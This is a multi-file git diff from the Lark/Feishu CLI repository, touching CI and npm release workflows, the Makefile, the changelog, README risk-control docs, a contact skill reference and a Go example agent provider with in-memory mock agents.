RUN_GENERATION: ${{ github.event_name == 'pull_request' && format('CI / {0}', github.event.pull_request.number) || '' }}
LARK_CLI_BIN: ${{ github.workspace }}/lark-cli
E2E_MODE: ${{ needs.e2e-dry-run.outputs.mode }}
E2E_REASON: ${{ needs.e2e-dry-run.outputs.reason }}
E2E_LIVE_PACKAGES: ${{ needs.e2e-dry-run.outputs.live_packages }}
E2E_TENANT_AUTH_FILE: ${{ steps.live_e2e_tat.outputs.path }}
TEST_USER_ACCESS_TOKEN: ${{ secrets.TEST_USER_ACCESS_TOKEN }}
- name: Configure bot credentials
if: ${{ steps.e2e_domains.outputs.mode != 'skip' }}
run: |
if [ "$EVENT_NAME" = "pull_request" ]; then
workflow_id="$(gh api "repos/$REPOSITORY/actions/runs/$RUN_ID" --jq '.workflow_id')"
newer_runs="$(
gh api --paginate -X GET "repos/$REPOSITORY/actions/workflows/$workflow_id/runs" \
-f event=pull_request -f branch="$GITHUB_HEAD_REF" -f per_page=100 |
jq -r --arg repository "$REPOSITORY" --arg generation "$RUN_GENERATION" --argjson run_number "$RUN_NUMBER" \
'.workflow_runs[] | select(.head_repository.full_name == $repository and .display_title == $generation and .run_number > $run_number) | .id'
)"
if [ -n "$newer_runs" ]; then
echo "::error::Superseded before live E2E started by newer workflow run(s): $newer_runs"
exit 1
fi
fi
if [ -z "${E2E_TENANT_AUTH_FILE:-}" ] || [ ! -f "$E2E_TENANT_AUTH_FILE" ]; then
echo "::error::Missing shared live E2E tenant token file"
if [ -z "$TEST_BOT1_APP_ID" ] || [ -z "$TEST_BOT1_APP_SECRET" ]; then
echo "::error::Missing required secrets: TEST_BOT1_APP_ID / TEST_BOT1_APP_SECRET"
exit 1
fi
export TEST_TENANT_ACCESS_TOKEN="$(cat "$E2E_TENANT_AUTH_FILE")"
rm -f "$E2E_TENANT_AUTH_FILE"
if ! LARKSUITE_CLI_APP_ID="$TEST_BOT1_APP_ID" \
LARKSUITE_CLI_TENANT_ACCESS_TOKEN="$TEST_TENANT_ACCESS_TOKEN" \
./lark-cli whoami --as bot | node -e '
let input = "";
process.stdin.setEncoding("utf8");
process.stdin.on("data", (chunk) => { input += chunk; });
process.stdin.on("end", () => {
const result = JSON.parse(input);
if (result.identity !== "bot" || result.available !== true || result.tokenStatus !== "ready") process.exit(1);
});
'; then
echo "::error::Tenant credential preflight failed"
exit 1
printf '%s\n' "$TEST_BOT1_APP_SECRET" | ./lark-cli config init --app-id "$TEST_BOT1_APP_ID" --app-secret-stdin
- name: Run CLI E2E tests
env:
LARK_CLI_BIN: ${{ github.workspace }}/lark-cli
E2E_MODE: ${{ steps.e2e_domains.outputs.mode }}
E2E_REASON: ${{ steps.e2e_domains.outputs.reason }}
E2E_LIVE_PACKAGES: ${{ steps.e2e_domains.outputs.live_packages }}
run: |
if [ "$E2E_MODE" = "skip" ]; then
echo "No live CLI E2E needed: $E2E_REASON"
exit 0
fi
echo "Tenant credential preflight succeeded"
packages="$E2E_LIVE_PACKAGES"
if [ -z "$packages" ]; then
echo "::error::No live CLI E2E packages resolved for mode $E2E_MODE"
@@ -469,7 +363,7 @@ jobs:
echo "Live CLI E2E packages: $packages"
go run gotest.tools/gotestsum@v1.12.3 --rerun-fails=2 --rerun-fails-max-failures=20 --packages="$packages" --format testname --junitfile cli-e2e-report.xml -- -count=1 -v
- name: Publish CLI E2E test report
if: ${{ !cancelled() }}
if: ${{ !cancelled() && steps.e2e_domains.outputs.mode != 'skip' }}
uses: dorny/test-reporter@a43b3a5f7366b97d083190328d2c652e1a8b6aa2 # v3.0.0
with:
name: CLI E2E Tests
@@ -522,7 +416,7 @@ jobs:
# ── Results Gate (single required check for branch protection) ─────
results:
if: ${{ always() }}
needs: [fast-gate, unit-test, lint, script-test, deterministic-gate, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header, plugin-integration, sidecar-integration]
needs: [fast-gate, unit-test, lint, script-test, deterministic-gate, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header]
runs-on: ubuntu-latest
steps:
- name: Evaluate results
@@ -542,19 +436,10 @@ jobs:
echo "| L3 | e2e-live | ${{ needs.e2e-live.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L4 | security | ${{ needs.security.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L4 | license-header | ${{ needs.license-header.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L4 | plugin-integration (observe-only) | ${{ needs.plugin-integration.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L4 | sidecar-integration (observe-only) | ${{ needs.sidecar-integration.result }} |" >> $GITHUB_STEP_SUMMARY
# Any failure or cancellation in any job blocks the merge.
# Legitimately skipped jobs (deadcode on push, e2e-live when not
# needed or on a fork, license-header on push) are OK.
#
# plugin-integration and sidecar-integration are intentionally NOT
# in this loop yet: they run on every PR and their status is shown
# in the table above, but a failure is observe-only (non-blocking)
# during the initial soak. Graduation to required is tracked in
# https://github.com/larksuite/cli/issues/1894 (criteria: 4
# consecutive weeks with zero false positives).
# Legitimately skipped jobs (deadcode on push, e2e-live on fork,
# license-header on push) are OK.
FAILED=0
for result in \
"${{ needs.fast-gate.result }}" \

View File

@@ -9,40 +9,7 @@ permissions:
contents: read
jobs:
preflight:
runs-on: ubuntu-22.04
permissions:
contents: read
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
with:
fetch-depth: 0
- uses: actions/setup-node@249970729cb0ef3589644e2896645e5dc5ba9c38 # v6
with:
node-version: '22.14.0'
- name: Validate tag and commit
env:
TAG: ${{ github.ref_name }}
run: |
set -euo pipefail
node scripts/release-preflight.js --tag "$TAG"
git fetch origin main
HEAD_SHA="$(git rev-parse --verify 'HEAD^{commit}')"
MAIN_SHA="$(git rev-parse --verify 'FETCH_HEAD^{commit}')"
TAG_SHA="$(git rev-parse --verify "refs/tags/${TAG}^{commit}")"
if [[ "$TAG_SHA" != "$HEAD_SHA" ]]; then
echo "Tag ${TAG} does not resolve to the checked-out HEAD commit." >&2
exit 1
fi
if ! git merge-base --is-ancestor "$HEAD_SHA" "$MAIN_SHA"; then
echo "Tag ${TAG} does not point to a commit contained in origin/main." >&2
exit 1
fi
build-release:
needs: preflight
goreleaser:
runs-on: ubuntu-22.04
permissions:
contents: write
@@ -59,79 +26,35 @@ jobs:
with:
python-version: '3.x'
- uses: actions/setup-node@249970729cb0ef3589644e2896645e5dc5ba9c38 # v6
with:
node-version: '22.14.0'
registry-url: 'https://registry.npmjs.org'
package-manager-cache: false
- name: Install pinned npm
run: npm install --global npm@11.16.0
- name: Run GoReleaser
uses: goreleaser/goreleaser-action@e435ccd777264be153ace6237001ef4d979d3a7a # v6
with:
version: '~> v2'
args: release --clean
env:
GITHUB_TOKEN: ${{ github.token }}
- name: Include release checksums
run: |
set -euo pipefail
test -s dist/checksums.txt
(cd dist && sha256sum --check checksums.txt)
cp dist/checksums.txt checksums.txt
- name: Collect release asset
run: |
set -euo pipefail
mkdir npm-publish-asset
cp dist/*.tar.gz dist/*.zip dist/checksums.txt npm-publish-asset/
- name: Upload release asset
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: npm-publish-asset-${{ github.run_id }}
path: npm-publish-asset/
if-no-files-found: error
overwrite: true
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
publish-npm:
needs: build-release
needs: goreleaser
runs-on: ubuntu-22.04
environment: npm-production
permissions:
contents: read
id-token: write
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- uses: actions/setup-node@249970729cb0ef3589644e2896645e5dc5ba9c38 # v6
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: '22.14.0'
node-version: '20'
registry-url: 'https://registry.npmjs.org'
package-manager-cache: false
- name: Install pinned npm
run: npm install --global npm@11.16.0
- name: Download release asset
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8
with:
name: npm-publish-asset-${{ github.run_id }}
path: npm-publish-asset
- name: Verify npm publish asset
- name: Download checksums from release
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
(cd npm-publish-asset && sha256sum --check checksums.txt)
cp npm-publish-asset/checksums.txt checksums.txt
PACK_JSON="$(npm pack --ignore-scripts --json)"
PACK_FILE="$(node -e 'const p=JSON.parse(process.argv[1]); if(p.length!==1 || !p[0].filename) process.exit(1); process.stdout.write(p[0].filename)' "$PACK_JSON")"
test -s "$PACK_FILE"
tar -tzf "$PACK_FILE" | grep -qx 'package/checksums.txt'
rm "$PACK_FILE"
TAG="${GITHUB_REF_NAME}"
gh release download "${TAG}" --pattern checksums.txt --dir .
test -s checksums.txt || { echo "checksums.txt missing or empty for ${TAG}"; exit 1; }
- name: Publish to npm
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
run: npm publish --access public

View File

@@ -25,16 +25,19 @@ jobs:
with:
script: |
const run = context.payload.workflow_run;
const workflowId = Number(run.workflow_id || 0);
if (!Number.isInteger(workflowId) || workflowId <= 0) throw new Error("missing workflow id");
const { data: workflow } = await github.rest.actions.getWorkflow({
owner: context.repo.owner,
repo: context.repo.repo,
workflow_id: workflowId,
});
if (workflow.name !== "CI") throw new Error(`unexpected workflow name: ${workflow.name}`);
if (workflow.path !== ".github/workflows/ci.yml") throw new Error(`unexpected workflow path: ${workflow.path}`);
if (run.path && run.path !== workflow.path) throw new Error(`workflow path mismatch: ${run.path}`);
if (run.name !== "CI") throw new Error(`unexpected workflow name: ${run.name}`);
let workflowPath = run.path || "";
if (!workflowPath) {
const workflowId = Number(run.workflow_id || 0);
if (!Number.isInteger(workflowId) || workflowId <= 0) throw new Error("missing workflow id");
const { data: workflow } = await github.rest.actions.getWorkflow({
owner: context.repo.owner,
repo: context.repo.repo,
workflow_id: workflowId,
});
workflowPath = workflow.path || "";
}
if (workflowPath !== ".github/workflows/ci.yml") throw new Error(`unexpected workflow path: ${workflowPath}`);
if (run.event !== "pull_request") throw new Error(`unexpected event: ${run.event}`);
if (run.repository.id !== context.payload.repository.id) throw new Error("repository id mismatch");
if (run.repository.full_name !== context.payload.repository.full_name) throw new Error("repository name mismatch");
@@ -250,16 +253,19 @@ jobs:
with:
script: |
const run = context.payload.workflow_run;
const workflowId = Number(run.workflow_id || 0);
if (!Number.isInteger(workflowId) || workflowId <= 0) throw new Error("missing workflow id");
const { data: workflow } = await github.rest.actions.getWorkflow({
owner: context.repo.owner,
repo: context.repo.repo,
workflow_id: workflowId,
});
if (workflow.name !== "CI") throw new Error(`unexpected workflow name: ${workflow.name}`);
if (workflow.path !== ".github/workflows/ci.yml") throw new Error(`unexpected workflow path: ${workflow.path}`);
if (run.path && run.path !== workflow.path) throw new Error(`workflow path mismatch: ${run.path}`);
if (run.name !== "CI") throw new Error(`unexpected workflow name: ${run.name}`);
let workflowPath = run.path || "";
if (!workflowPath) {
const workflowId = Number(run.workflow_id || 0);
if (!Number.isInteger(workflowId) || workflowId <= 0) throw new Error("missing workflow id");
const { data: workflow } = await github.rest.actions.getWorkflow({
owner: context.repo.owner,
repo: context.repo.repo,
workflow_id: workflowId,
});
workflowPath = workflow.path || "";
}
if (workflowPath !== ".github/workflows/ci.yml") throw new Error(`unexpected workflow path: ${workflowPath}`);
if (run.event !== "pull_request") throw new Error(`unexpected event: ${run.event}`);
if (run.conclusion !== "success") throw new Error(`unexpected conclusion: ${run.conclusion}`);
if (run.repository.id !== context.payload.repository.id) throw new Error("repository id mismatch");

5
.gitignore vendored
View File

@@ -55,3 +55,8 @@ cover*.out
lark-env.sh
/automations/
# Local-only proof artifacts and coverage reports (never committed)
coverage.html
tests_e2e/
tests_skill_eval/

View File

@@ -10,10 +10,9 @@
## Build & Test
```bash
make build # Build (runs fetch_meta first)
make unit-test # Required before PR (runs with -race where supported, e.g. amd64/arm64)
make live-skills-test # Opt-in real Skills CLI tests; runs with isolated user directories
make test # Full: vet + unit + integration
make build # Build (runs fetch_meta first)
make unit-test # Required before PR (runs with -race where supported, e.g. amd64/arm64)
make test # Full: vet + unit + integration
```
## Notification Opt-Outs
@@ -62,21 +61,10 @@ Both notices recommend the same fix command: `lark-cli update`. The skills notic
| `internal/credential/` | Credential provider chain (extension → default) |
| `extension/credential/` | Plugin-facing credential interfaces and env provider |
| `internal/client/client.go` | APIClient: DoSDKRequest, DoStream |
| `brand/` | Brand (feishu/lark) and its endpoint hosts — repo root, so `extension/` may import it |
| `internal/workspace/` | Workspace detection plus the config and runtime directory paths |
| `internal/identity/` | The `--as` identity (user/bot) and the strict-mode policy |
| `internal/config/config.go` | Multi-profile config loading/saving |
| `internal/core/config.go` | Multi-profile config loading/saving |
| `internal/vfs/` | Filesystem abstraction (use `vfs.*` instead of `os.*`) |
| `internal/validate/path.go` | Path safety validation |
`internal/core` is gone. Besides the four packages above it also became
`internal/secret` (app secret storage and resolution) and `internal/risk` (the
read / write / high-risk-write vocabulary). Import the narrowest one you need:
`brand`, `internal/workspace`, `internal/identity`, `internal/secret` and
`internal/risk` do not import each other — only `internal/config` sits on top of
them — so asking for a config directory no longer drags in keychain, i18n and
validate.
## Who Uses This CLI
This CLI's primary consumers include AI agents (Claude Code, Cursor, Gemini CLI). Your code is read by machines — error messages, output format, and flag design all directly affect agent success rates.
@@ -117,20 +105,6 @@ Signatures that are easy to guess wrong:
Program output (JSON envelopes) goes to stdout. Progress, warnings, hints go to stderr. Mixing them corrupts pipe chains.
### Typed data over loose maps
Parse `map[string]interface{}` into a typed struct at the boundary — one projection function per shape — and let everything downstream consume struct fields, not string keys. A typo'd map key compiles fine and fails at runtime, which an agent then debugs blind.
Use distinct types when two values could be swapped silently: see `internal/meta.Token` — a bare string compiles on either side of a string/string signature, a distinct type does not.
Legacy loose-map code exists in older paths. Match its call sites when touching it, but do not copy the pattern into new code.
### Transcribe faithfully — no silent fallbacks
When code echoes input onward (request previews, transformations, proxies), transcribe verbatim. A `default:` branch that coerces unrecognized input into a plausible value ("unknown HTTP verb → GET") makes the output lie, and an agent reasons from the lie.
The same rule applies to flag combinations and internal wiring: if a requested option cannot be honored, return a typed validation error — never silently substitute another behavior and exit 0. Silent guesses (defaulting a missing identity, discarding writes on a nil writer) are bugs even when every current caller happens to avoid them.
### Use `vfs.*` instead of `os.*`
All filesystem access goes through `internal/vfs`. This enables test mocking.
@@ -142,7 +116,6 @@ CLI arguments are untrusted (they come from AI agents). Call `validate.SafeInput
### Tests
- Every behavior change needs a test alongside the change.
- A contract test must fail if the implementation is reverted. If you can undo the code change and the suite stays green, the contract is not pinned — assert the new field/behavior directly, not a happy-path substring.
- `cmdutil.TestFactory(t, config)` for test factories.
- `t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())` to isolate config state.

View File

@@ -2,290 +2,6 @@
All notable changes to this project will be documented in this file.
## [v1.0.80] - 2026-07-29
### Features
- **drive**: add +member-list shortcut (#1795)
- **drive**: add +permission-get-setting shortcut (#1738)
- propagate invocation metadata (#2097)
### Documentation
- **slides**: 补齐 shortcut 参数说明,修正 +xml-get --output 必填标注 (#2088)
- **slides**: +create 的参数下沉到 create.md主 skill 只留路由 (#2096)
### Tests
- **e2e**: wait for base role update visibility (#2087)
### Misc
- Feat/detect line text overlap (#2069)
## [v1.0.79] - 2026-07-28
### Features
- **slides**: update xsd (#2067)
### Bug Fixes
- **ci**: validate static workflow identity (#2015)
- **sheets**: recognize OFL0X local office tokens (#2063)
### Documentation
- **calendar**: clarify identity selection by event ownership (#2071)
- **slides**: add formula inline element syntax to quick-ref (#2077)
## [v1.0.78] - 2026-07-27
### Features
- event description support rich text (#1975)
### Bug Fixes
- **slides**: restrict canvas overflow checks
- **slides**: upgrade text overflow to error above 10px threshold
- **slides**: detect letterSpacing-driven text overflow
- **slides**: downgrade background-decoration text overflow to info
- **slides**: allow chartParsedValues roundtrip tag
- refine character width estimation for lark-slides text lint
- **slides**: preserve info lint severity
- **slides**: text may over flow shape
- exempt ghost text from slides lint
## [v1.0.77] - 2026-07-24
### Features
- introducing official card icon (#1973)
- **apps**: validate +file-list --page-size against server (0, 200] range (#2007)
- **apps**: support absolute and relative upload paths (#2005)
- **slides**: fill xml-schema-quick-ref gaps that forced XSD fallback (#2026)
- **slides**: add layout density lint for sparse/empty containers (#2022)
- add risk-control protection (#1910)
### Bug Fixes
- **slides**: normalize presentation flag aliases (#2032)
- **base**: classify +form-submit as high-risk-write (#1969)
- **slides**: declare screenshot scope
- **slides**: support CSV multi-value for --slide-id in screenshot (#2047)
### Documentation
- **skill**: clarify scope handling for query expansion (#2030)
- **base**: clarify complete and partial updates (#1993)
- **skills**: clarify callout child rules (#2048)
### Misc
- fix/task id handling (#2023)
- fix/task search pagination (#2041)
## [v1.0.75] - 2026-07-22
### Features
- add okr single create shortcut & skill text opti (#1941)
- **calendar**: auto-add bot self as attendee and note user-only search (#1991)
### Bug Fixes
- **base**: improve table shortcut behavior & guidance (#1803)
- issue#1935 & whiteboard shortcut reformat (#1980)
- remove legacy shortcut (#1997)
- **e2e**: inject shared credentials by identity (#1995)
### Documentation
- **skill**: describe html5 block xml usage (#1380)
- clarify fetch metadata and user cites (#1981)
- add topic move collector workflow (#1473)
- update lark doc HTML size limit (#2001)
- **base**: align record write schema guidance (#2000)
### Tests
- **e2e**: declare request identities explicitly (#2004)
### Misc
- harden npm release publishing (#1918)
## [v1.0.74] - 2026-07-21
### Features
- **slides**: add history rollback shortcuts (#1714)
- **base**: support per-record batch updates (#1889)
### Bug Fixes
- preserve slides schema issues
- allow jq examples in quality gate dry-runs
- **im**: warn when flag pagination is truncated (#1906)
- **slides**: warn on text shape overflow
- **slides**: exempt chart roundtrip attributes from lint
- **slides**: detect image text occlusion
- **slides**: clarify xml-text-overlap-lint error for positional argument (#1986)
### Documentation
- clarify drive upload overwrite guidance (#1982)
### Tests
- isolate unit tests from user state (#1883)
### Refactoring
- converge success output through a single Emitter that owns the write (#1899)
## [v1.0.73] - 2026-07-20
### Features
- **apps**: design_html support, creative-design skill, unified TOS publish (#1901)
### Bug Fixes
- **slides**: detect visual elements outside canvas
- reduce public content credential fixture false positives
- standardize CLI shortcut text in English (#1942)
### Documentation
- **base**: reduce filter and update retry loops (#1879)
- **vc**: default transcript routing to smart notes over minutes (#1961)
- clarify local trigger automation (#1958)
### Tests
- synchronize temporary Git maintenance (#1946)
### Misc
- **slides**: update lark-slides skill to 0715 snapshot (#1933)
- [codex] support bot menu events (#1765)
## [v1.0.72] - 2026-07-17
### Features
- **slides**: lint table out of canvas
- **slides**: report resolved table size mismatches
- **approval**: support approval event consumption (#1924)
### Bug Fixes
- **vc**: don't fail +detail for in-progress meetings (#1930)
- stabilize drive delete E2E terminal-state checks (#1939)
### Documentation
- **slides**: document table dimensions
- document base field default values (#1500)
- **sheets**: use English placeholder in table-get guidance (#1936)
### Tests
- stabilize live e2e auth retries (#1904)
- use tri-state wiki node identity in delete verification (#1931)
- fix drive cover download retries (#1934)
## [v1.0.71] - 2026-07-16
### Features
- add wiki move-to-drive shortcut (#1869)
- **apps**: add role management shortcuts (#1881)
- **drive**: add secure label support and clarify comment location API (#1913)
### Bug Fixes
- **base**: improve dashboard shortcut guidance (#1787)
### Documentation
- **apps**: add platform SQL authoring guide to the db-execute skill (#1912)
### Misc
- add L4 plugin-integration and sidecar-integration CI jobs (#1840)
- **drive**: optimize drive +delete workflow (#1909)
## [v1.0.70] - 2026-07-15
### Features
- add minutes permission application shortcut (#1876)
- **drive**: support apps in list comments (#1877)
- slide style
- edit ppt template
- **slides**: add sxsd validation to slides lint
- **slides**: validate iconpark icon types in slides lint
- **slides**: lint before create
- **apps**: add automation trigger commands for Miaoda (#1886)
### Bug Fixes
- unify dry-run output contract (#1870)
- **skills**: align skill guidance with the typed error contract (#1786)
- **slides**: limit slides screenshot page requests
- **slides**: detect lark slides text overflow overlap
- **vc**: align meeting query scopes by identity (#1850)
### Documentation
- clarify task search relevance filters (#1884)
- surface minutes permission application in skill description (#1890)
- clarify okr progress children (#1861)
- **slides**: prefer slides xml-get shortcut
- **calendar**: document setting meeting owner via full API (#1903)
### Refactoring
- **slides**: streamline create workflow and validate SML namespaces
### Misc
- **slides**: address PR review feedback
## [v1.0.69] - 2026-07-13
### Features
- support docs fetch selection anchors (#1815)
- **apps**: support modern_html app type with TOS publish path and app type querying
- **im**: show bot sender display names when reading messages (#1829)
- add drive list comments shortcut (#1845)
- support wiki sources in drive export (#1802)
- add application domain with slash command management shortcuts (#1806)
- validate IM idempotency key length (#1797)
- surface reply context and mentions in im.message.receive_v1 (#1798)
### Bug Fixes
- route brand-sensitive endpoints through the resolver (#1836)
### Documentation
- document OKR block XML guidance (#1648)
- refine doubao whiteboard workflow routing (#1841)
- clarify Mindnote token handling (#1827)
### Tests
- isolate semantic waiver fixtures from wall clock
### Misc
- Merge lark sheets development branch (#1833)
## [v1.0.68] - 2026-07-09
### Features
@@ -1722,17 +1438,6 @@ Bundled AI agent skills for intelligent assistance:
- Bilingual documentation (English & Chinese).
- CI/CD pipelines: linting, testing, coverage reporting, and automated releases.
[v1.0.80]: https://github.com/larksuite/cli/releases/tag/v1.0.80
[v1.0.79]: https://github.com/larksuite/cli/releases/tag/v1.0.79
[v1.0.78]: https://github.com/larksuite/cli/releases/tag/v1.0.78
[v1.0.77]: https://github.com/larksuite/cli/releases/tag/v1.0.77
[v1.0.75]: https://github.com/larksuite/cli/releases/tag/v1.0.75
[v1.0.74]: https://github.com/larksuite/cli/releases/tag/v1.0.74
[v1.0.73]: https://github.com/larksuite/cli/releases/tag/v1.0.73
[v1.0.72]: https://github.com/larksuite/cli/releases/tag/v1.0.72
[v1.0.71]: https://github.com/larksuite/cli/releases/tag/v1.0.71
[v1.0.70]: https://github.com/larksuite/cli/releases/tag/v1.0.70
[v1.0.69]: https://github.com/larksuite/cli/releases/tag/v1.0.69
[v1.0.68]: https://github.com/larksuite/cli/releases/tag/v1.0.68
[v1.0.67]: https://github.com/larksuite/cli/releases/tag/v1.0.67
[v1.0.66]: https://github.com/larksuite/cli/releases/tag/v1.0.66

View File

@@ -23,7 +23,7 @@ PREFIX ?= /usr/local
TEST_GOARCH := $(or $(GOARCH),$(shell go env GOARCH))
RACE_FLAG := $(if $(filter riscv64,$(TEST_GOARCH)),,-race)
.PHONY: all build vet fmt-check script-test test unit-test live-skills-test integration-test examples-build quality-gate install uninstall clean fetch_meta gitleaks sidecar-test
.PHONY: all build vet fmt-check script-test test unit-test integration-test examples-build quality-gate install uninstall clean fetch_meta gitleaks
all: test
@@ -49,30 +49,21 @@ fmt-check:
script-test:
bash scripts/resolve-changed-from.test.sh
bash scripts/check-layering-ratchet.test.sh
bash scripts/ci-workflow.test.sh
bash scripts/semantic-review-workflow.test.sh
$(NODE) --test scripts/e2e_domains.test.js scripts/fetch_e2e_tat.test.js scripts/install.test.js scripts/release-preflight.test.js scripts/semantic-review-verify-artifact.test.js scripts/pr-quality-summary.test.js scripts/semantic-review-publish.test.js scripts/ci-quality-summary-publish.test.js
$(NODE) --test scripts/e2e_domains.test.js scripts/semantic-review-verify-artifact.test.js scripts/pr-quality-summary.test.js scripts/semantic-review-publish.test.js scripts/ci-quality-summary-publish.test.js
# ./extension/... keeps the public plugin SDK in the default test matrix.
unit-test: fetch_meta
go test $(RACE_FLAG) -gcflags="all=-N -l" -count=1 \
./cmd/... ./internal/... ./shortcuts/... ./extension/...
live-skills-test: fetch_meta
LARKSUITE_CLI_RUN_LIVE_SKILLS_TESTS=1 \
go test -v -count=1 ./cmd/update \
-run '^TestUpdateCommand_(RealSkillsSyncRewritesState|SkillsSyncColdStart)$$'
# examples-build keeps the shipped plugin-SDK examples compilable. If this
# breaks, the plugin author guide's "go build ./..." path is broken.
examples-build:
go build ./extension/platform/examples/audit-observer
go build ./extension/platform/examples/readonly-policy
# ./tests/... includes tests/plugin_e2e, which builds ~20 customer-fork
# binaries (~1 min warm; a cold module cache also downloads via GOPROXY).
# Deliberate: local `make test` exercises the L4 plugin contract by default.
integration-test: build
go test -v -count=1 ./tests/...
@@ -114,14 +105,6 @@ uninstall:
clean:
rm -f $(BINARY)
# sidecar-test compiles and runs the authsidecar* build-tagged code that the
# default CI matrix never sees (they carry //go:build tags).
sidecar-test:
go build -tags authsidecar -o /dev/null .
go test $(RACE_FLAG) -count=1 -tags authsidecar ./extension/credential/sidecar/ ./extension/transport/sidecar/ ./internal/cmdutil/
go test $(RACE_FLAG) -count=1 -tags authsidecar_demo ./sidecar/server-demo/
go test $(RACE_FLAG) -count=1 -tags authsidecar ./tests/sidecar_e2e/
# Run secret-leak checks locally before pushing.
# Step 1: check-doc-tokens catches realistic-looking example tokens in reference
# docs and asks you to use _EXAMPLE_TOKEN placeholders instead.

View File

@@ -285,29 +285,6 @@ To reduce these risks, the tool enables default security protections at multiple
We recommend using the Lark/Feishu bot integrated with this tool as a private conversational assistant. Do not add it to group chats or allow other users to interact with it, to avoid abuse of permissions or data leakage.
To reduce the security risks associated with access token theft, the CLI sends a minimal set of risk-control signals with OpenAPI requests made to exact official Feishu/Lark HTTPS domains. These signals are used to help identify anomalous API activity. This protection is enabled by default. The information sent is limited to:
- Operating system type: macOS, Windows, or Linux
- Device hardware model: for example, Mac17,9
To disable this protection for the current workspace, run:
```bash
lark-cli config risk-control off
```
To enable this protection for the current workspace, run:
```bash
lark-cli config risk-control on
```
To restore the default policy for the current workspace, run:
```bash
lark-cli config risk-control default
```
Please fully understand all usage risks. By using this tool, you are deemed to voluntarily assume all related responsibilities.
## Star History

View File

@@ -286,29 +286,6 @@ lark-cli schema im.messages.delete
我们建议您将对接本工具的飞书机器人作为私人对话助手使用,请勿将其拉入群聊或允许其他用户与其交互,以避免权限被滥用或数据泄露。
为降低访问令牌被盗用后的安全风险CLI 在向飞书/Lark 官方 HTTPS 精确域名发起 OpenAPI 请求时,会随请求发送一组最小化的风控信号,用于辅助识别异常调用行为。该保护默认开启,发送的信息仅包括:
- 操作系统类型macOS、Windows 或 Linux
- 设备的硬件产品型号:例如 Mac17,9
如需让当前 workspace 退出该保护,可执行以下命令:
```bash
lark-cli config risk-control off
```
如需开启当前 workspace 的保护,可执行以下命令:
```bash
lark-cli config risk-control on
```
恢复当前 workspace 默认策略可执行:
```bash
lark-cli config risk-control default
```
请您充分知悉全部使用风险,使用本工具即视为您自愿承担相关所有责任。
## Star History

View File

@@ -23,41 +23,6 @@ lark-cli contact +search-user --query "alice" --as user
lark-cli contact +search-user --user-ids "ou_3a8b****6a7b,me" --as user
```
## +search-bot
Search bots (apps) by keyword. Pass `--query` or `--queries`; use `--chat-ids` to search within specific chats.
### Skills
- lark-contact/references/lark-contact-search-bot.md
### Avoid when
- Looking for a person rather than a bot → use [[+search-user]]
- Running as a bot — this shortcut is user-only
### Tips
- `has_more=true` means the search is incomplete; refine the keyword or search scope instead of paginating
### Examples
**Find bots by keyword**
```bash
lark-cli contact +search-bot --query "会议助手" --as user
```
**Search inside one chat**
```bash
lark-cli contact +search-bot --query "助手" --chat-ids "oc_3a8b****6a7b" --as user
```
**Find bots you've chatted with**
```bash
lark-cli contact +search-bot --query "助手" --has-chatted --as user
```
**Search several bot keywords in one call**
```bash
lark-cli contact +search-bot --queries "会议助手,日报助手,审批助手" --as user
```
## +get-user
Fetch one user's profile by id, or your own with --user-id omitted. Use it under bot identity — `+search-user` is user-only.

402
agents/example/example.go Normal file
View File

@@ -0,0 +1,402 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Package example is the in-repo agent provider onboarding template and offline
// demo backend: a hypothetical example business domain whose data / calls are
// entirely in-memory mocks, with zero network. It has three roles:
//
// 1. A copy-start point for new integrators — copy the package, rename the
// scheme, write plain hook funcs, add one line to agent/register.go. There is
// no Factory, no Deps, no probe, no Kind field.
// 2. The command tree's offline demo backend — the full agent
// list/card/send/task/context chain runs for real without any platform config.
// 3. A stable mock scheme for cmd-layer tests.
//
// The whole provider is a declarative agents.Provider value: metadata + a catalog
// of agents.AgentSpec units. Each spec's capability set is exactly the hooks it
// wires (the framework derives the card matrix from that), so echo (minimal) and
// reporter (full) differ by DATA, not by a Factory branch.
package example
import (
"context"
"fmt"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/core"
)
// Provider is the whole declaration. The Catalog set makes this a catalog-type
// provider; the framework derives enumeration (agents list example), the
// unknown-id error, and each agent's card matrix from this data.
func Provider() agents.Provider {
return agents.Provider{
Scheme: "example",
Label: "Example 演示 agent内存 mock零网络",
AgentIDSource: "运行 lark-cli agents list example 查看内置演示 agent 及其 agent_ref无需任何平台配置",
Identities: []agents.IdentitySpec{{Type: agents.IdentityUser}, {Type: agents.IdentityBot}},
// RequiredScopes nil: the mock calls no OAPI, so scope preflight always passes.
Catalog: []agents.AgentSpec{echoSpec, reporterSpec, plannerSpec},
}
}
// echoSpec is the minimal set: it wires Send/GetTask plus the read verbs and
// NOTHING else, so its card honestly shows task_cancel / artifact_download /
// file_input = false. Capability IS exactly the wired hooks — there is no bool
// matrix and no capability-refusal code (the command layer gates unwired hooks).
var echoSpec = agents.AgentSpec{
ID: "echo",
Name: "复读机",
Description: "把你发的话原样复读一遍(同一会话续发时带轮次,证明上下文记忆)。最小能力集示范。",
Send: agents.SendOp{Handler: echoSend},
GetTask: agents.TaskGetOp{Handler: getTask},
ListTasks: agents.TaskListOp{Handler: listTasks},
ListContexts: agents.ContextListOp{Handler: listContexts},
GetContext: agents.ContextGetOp{Handler: getContext},
DeleteContext: agents.ContextDeleteOp{Handler: deleteContext},
}
// reporterSpec is the full set: it additionally wires CancelTask +
